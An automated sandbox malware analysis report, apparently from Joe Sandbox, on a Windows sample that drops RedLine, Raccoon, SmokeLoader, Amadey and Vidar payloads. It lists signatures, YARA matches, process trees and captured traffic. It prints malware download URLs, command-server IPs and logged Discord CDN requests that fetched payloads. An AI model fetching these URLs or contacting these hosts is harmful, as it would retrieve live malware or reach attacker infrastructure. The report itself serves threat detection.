Play interactive tour

Edit tour

Windows Analysis Report CFE9H9mdWr.exe

Overview

General Information

Sample Name:	CFE9H9mdWr.exe
Analysis ID:	511952
MD5:	c5a077a9785424c21611801db5dd0f95
SHA1:	423bfbe43ac7b308f0b889be8824c317bc1f4846
SHA256:	8920b1d5b8a3f73bb010cdd5014602e4d974f2d7ef3e63f25674be6b03a4b21e
Tags:	exeRaccoonStealer
Infos:
Most interesting Screenshot:

Detection

Amadey Raccoon RedLine SmokeLoader Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Early bird code injection technique detected

Yara detected AntiVM3

Yara detected Vidar

Yara detected SmokeLoader

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Yara detected Raccoon Stealer

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Yara detected UAC Bypass using CMSTP

DLL reload attack detected

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Sample uses process hollowing technique

Renames NTDLL to bypass HIPS

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Queues an APC in another process (thread injection)

Machine Learning detection for dropped file

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains functionality for execution timing, often used to detect debuggers

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Detected TCP or UDP traffic on non-standard ports

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

CFE9H9mdWr.exe (PID: 6832 cmdline: 'C:\Users\user\Desktop\CFE9H9mdWr.exe' MD5: C5A077A9785424C21611801DB5DD0F95)

CFE9H9mdWr.exe (PID: 6892 cmdline: 'C:\Users\user\Desktop\CFE9H9mdWr.exe' MD5: C5A077A9785424C21611801DB5DD0F95)

explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

12C6.exe (PID: 7040 cmdline: C:\Users\user\AppData\Local\Temp\12C6.exe MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)

12C6.exe (PID: 6176 cmdline: C:\Users\user\AppData\Local\Temp\12C6.exe MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)

B4BD.exe (PID: 4036 cmdline: C:\Users\user\AppData\Local\Temp\B4BD.exe MD5: F57B28AEC65D4691202B9524F84CC54A)

dfsvc.exe (PID: 6040 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe MD5: 48FD4DD682051712E3E7757C525DED71)

DataSvcUtil.exe (PID: 2056 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe MD5: CCDF8F3B189FFB839B390F695FAE2A6D)

AddInUtil.exe (PID: 6984 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe MD5: 65D30D747EB31E108A36EBC966C1227D)

234F.exe (PID: 6424 cmdline: C:\Users\user\AppData\Local\Temp\234F.exe MD5: 42758E2569239A774BECDB12698B124C)

2E6C.exe (PID: 1372 cmdline: C:\Users\user\AppData\Local\Temp\2E6C.exe MD5: 73252ACB344040DDC5D9CE78A5D3A4C2)

39F6.exe (PID: 244 cmdline: C:\Users\user\AppData\Local\Temp\39F6.exe MD5: AB823DF932B3C2941A9015848EBDB97B)

39F6.exe (PID: 6368 cmdline: 39F6.exe MD5: AB823DF932B3C2941A9015848EBDB97B)

4F44.exe (PID: 6980 cmdline: C:\Users\user\AppData\Local\Temp\4F44.exe MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29)

4F44.exe (PID: 7164 cmdline: C:\Users\user\AppData\Local\Temp\4F44.exe MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29)

5AFD.exe (PID: 5660 cmdline: C:\Users\user\AppData\Local\Temp\5AFD.exe MD5: 31BE6099D31BDBF1ED339EFFDC1C7064)

69D3.exe (PID: 6156 cmdline: C:\Users\user\AppData\Local\Temp\69D3.exe MD5: C1EB42674C5E7180ADEFEC71EE8B1D60)

39F6.exe (PID: 4716 cmdline: 'C:\Users\user\AppData\Local\Temp\39F6.exe' MD5: AB823DF932B3C2941A9015848EBDB97B)

bsstvub (PID: 7000 cmdline: C:\Users\user\AppData\Roaming\bsstvub MD5: C5A077A9785424C21611801DB5DD0F95)

bsstvub (PID: 6956 cmdline: C:\Users\user\AppData\Roaming\bsstvub MD5: C5A077A9785424C21611801DB5DD0F95)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\DEC6.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7ae95:$x1: https://cdn.discordapp.com/attachments/ 0x7af49:$x1: https://cdn.discordapp.com/attachments/ 0x7affd:$x1: https://cdn.discordapp.com/attachments/ 0x7b0b1:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\234F.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\B4BD.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\4F44.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/

Memory Dumps

Source	Rule	Description	Author
00000028.00000000.514503943.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000027.00000000.494537883.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000024.00000003.473154873.00000000048A0000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000022.00000000.471569387.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000002.543712814.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001D.00000003.443536415.0000000002FC0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001D.00000002.465800320.0000000002FC0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000013.00000002.401208082.00000000005B1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000028.00000000.516850335.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001D.00000002.466019596.0000000003001000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000022.00000000.472237000.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000002.401135304.0000000000570000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.343715666.00000000005A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000C.00000000.331439665.0000000004E91000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000014.00000002.414180179.0000000000460000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000027.00000000.495400443.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000025.00000000.488797588.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000021.00000002.484679708.0000000002CE1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000021.00000002.484587747.0000000002CC0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000022.00000000.473649658.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000025.00000000.486835235.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000025.00000000.487989630.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000003.00000002.343625183.0000000000460000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000028.00000000.523576930.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000014.00000002.414253923.00000000004F1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000027.00000000.493522806.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000000.513777665.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: B4BD.exe PID: 4036	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: B4BD.exe PID: 4036	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: 4F44.exe PID: 6980	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 69D3.exe PID: 6156	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.CFE9H9mdWr.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
34.0.dfsvc.exe.400000.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.4F44.exe.400000.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.0.AddInUtil.exe.400000.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.bsstvub.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.2.2E6C.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.1.bsstvub.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
36.3.69D3.exe.48a0000.0.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
20.1.12C6.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
40.0.4F44.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
34.0.dfsvc.exe.400000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
37.0.DataSvcUtil.exe.400000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
29.2.2E6C.exe.2fb0e50.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
31.0.4F44.exe.830000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
27.0.234F.exe.1c0000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
36.3.69D3.exe.48a0000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
40.0.4F44.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.4F44.exe.3f0000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
34.0.dfsvc.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.4F44.exe.3f0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
40.0.4F44.exe.400000.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
31.0.4F44.exe.830000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
24.0.B4BD.exe.e30000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
31.0.4F44.exe.830000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
34.0.dfsvc.exe.400000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.4F44.exe.3f0000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
39.0.AddInUtil.exe.400000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.0.AddInUtil.exe.400000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.B4BD.exe.e30000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
24.0.B4BD.exe.e30000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
20.2.12C6.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.0.234F.exe.1c0000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
17.2.bsstvub.9615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
40.0.4F44.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
29.3.2E6C.exe.2fc0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
3.1.CFE9H9mdWr.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.0.B4BD.exe.e30000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
24.0.B4BD.exe.e30000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
37.0.DataSvcUtil.exe.400000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.CFE9H9mdWr.exe.9615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.0.234F.exe.1c0000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
40.0.4F44.exe.3f0000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
40.2.4F44.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.12C6.exe.2cb15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
39.0.AddInUtil.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
37.0.DataSvcUtil.exe.400000.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
37.0.DataSvcUtil.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
31.0.4F44.exe.830000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
27.0.234F.exe.1c0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
24.2.B4BD.exe.41e9510.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
24.2.B4BD.exe.41e9510.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Click to see the 46 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 36.3.69D3.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.69D3.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000003.473154873.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 69D3.exe PID: 6156, type: MEMORYSTR

Antivirus detection for URL or domain

Show sources

Source: http://sysaheu90.top/game.exe	Avira URL Cloud: Label: malware
Source: http://znpst.top/dl/buildz.exe	Avira URL Cloud: Label: malware
Source: http://toptelete.top/agrybirdsgamerept	Avira URL Cloud: Label: malware
Source: http://telegalive.top/ah	Avira URL Cloud: Label: malware
Source: http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	Avira URL Cloud: Label: malware
Source: http://hajezey1.top/	Avira URL Cloud: Label: malware
Source: http://telegalive.top/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe	Avira: detection malicious, Label: HEUR/AGEN.1138925
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Avira: detection malicious, Label: HEUR/AGEN.1138925

Multi AV Scanner detection for submitted file

Show sources

Source: CFE9H9mdWr.exe	Virustotal: Detection: 59%	Perma Link
Source: CFE9H9mdWr.exe	Metadefender: Detection: 22%	Perma Link
Source: CFE9H9mdWr.exe	ReversingLabs: Detection: 51%

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\12C6.exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\DA7F.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Roaming\bsstvub	Metadefender: Detection: 22%	Perma Link
Source: C:\Users\user\AppData\Roaming\bsstvub	ReversingLabs: Detection: 51%

Machine Learning detection for sample

Show sources

Source: CFE9H9mdWr.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DC45.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\69D3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\234F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D88A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DEC6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D210.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\isstvub	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\wistvub	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\bsstvub	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Joe Sandbox ML: detected

Source: 35.0.39F6.exe.400000.5.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 35.0.39F6.exe.400000.17.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 35.0.39F6.exe.400000.11.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 35.0.39F6.exe.400000.7.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 35.0.39F6.exe.400000.15.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 35.0.39F6.exe.400000.9.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 35.0.39F6.exe.400000.13.unpack	Avira: Label: TR/AD.Amadey.ezxiu

Exploits:

Yara detected UAC Bypass using CMSTP

Show sources

Source: Yara match	File source: 24.2.B4BD.exe.41e9510.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.B4BD.exe.41e9510.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: B4BD.exe PID: 4036, type: MEMORYSTR

Source: unknown

HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49826 version: TLS 1.0

Source: CFE9H9mdWr.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\2E6C.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49881 version: TLS 1.2

Source:	Binary string: C:\vojos\fuw.pdb source: 2E6C.exe, 0000001D.00000000.426239114.0000000000417000.00000002.00020000.sdmp
Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: 39F6.exe, 39F6.exe, 00000026.00000002.514678804.0000000003ED5000.00000004.00000001.sdmp
Source:	Binary string: C:\caduzabo-15\jobobiviwesasu\yinuzixohiyi\gotaro.pdb source: CFE9H9mdWr.exe, 00000000.00000002.284995142.0000000000401000.00000020.00020000.sdmp, CFE9H9mdWr.exe, 00000003.00000000.283132897.0000000000401000.00000020.00020000.sdmp, bsstvub, 00000011.00000000.379245984.0000000000401000.00000020.00020000.sdmp, bsstvub, 00000013.00000000.381807809.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\wucalehozojoh\setujupiwe-y.pdb source: 12C6.exe, 00000012.00000000.382730318.0000000000401000.00000020.00020000.sdmp, 12C6.exe, 00000014.00000000.393366231.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 2E6C.exe, 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp
Source:	Binary string: wntdll.pdb source: 2E6C.exe
Source:	Binary string: *C:\caduzabo-15\jobobiviwesasu\yinuzixohiyi\gotaro.pdb source: CFE9H9mdWr.exe, 00000000.00000002.284995142.0000000000401000.00000020.00020000.sdmp, CFE9H9mdWr.exe, 00000003.00000000.283132897.0000000000401000.00000020.00020000.sdmp, bsstvub, 00000011.00000000.379245984.0000000000401000.00000020.00020000.sdmp, bsstvub, 00000013.00000000.381807809.0000000000401000.00000020.00020000.sdmp

Source: C:\Users\user\AppData\Local\Temp\39F6.exe

Code function: 35_2_0041B9B2 FindFirstFileExW,

35_2_0041B9B2

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.3:49847 -> 185.215.113.45:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.3:49846 -> 91.219.236.97:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Domain query: znpst.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903702020781907998/4D0A6361.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1Host: cdn.discordapp.com
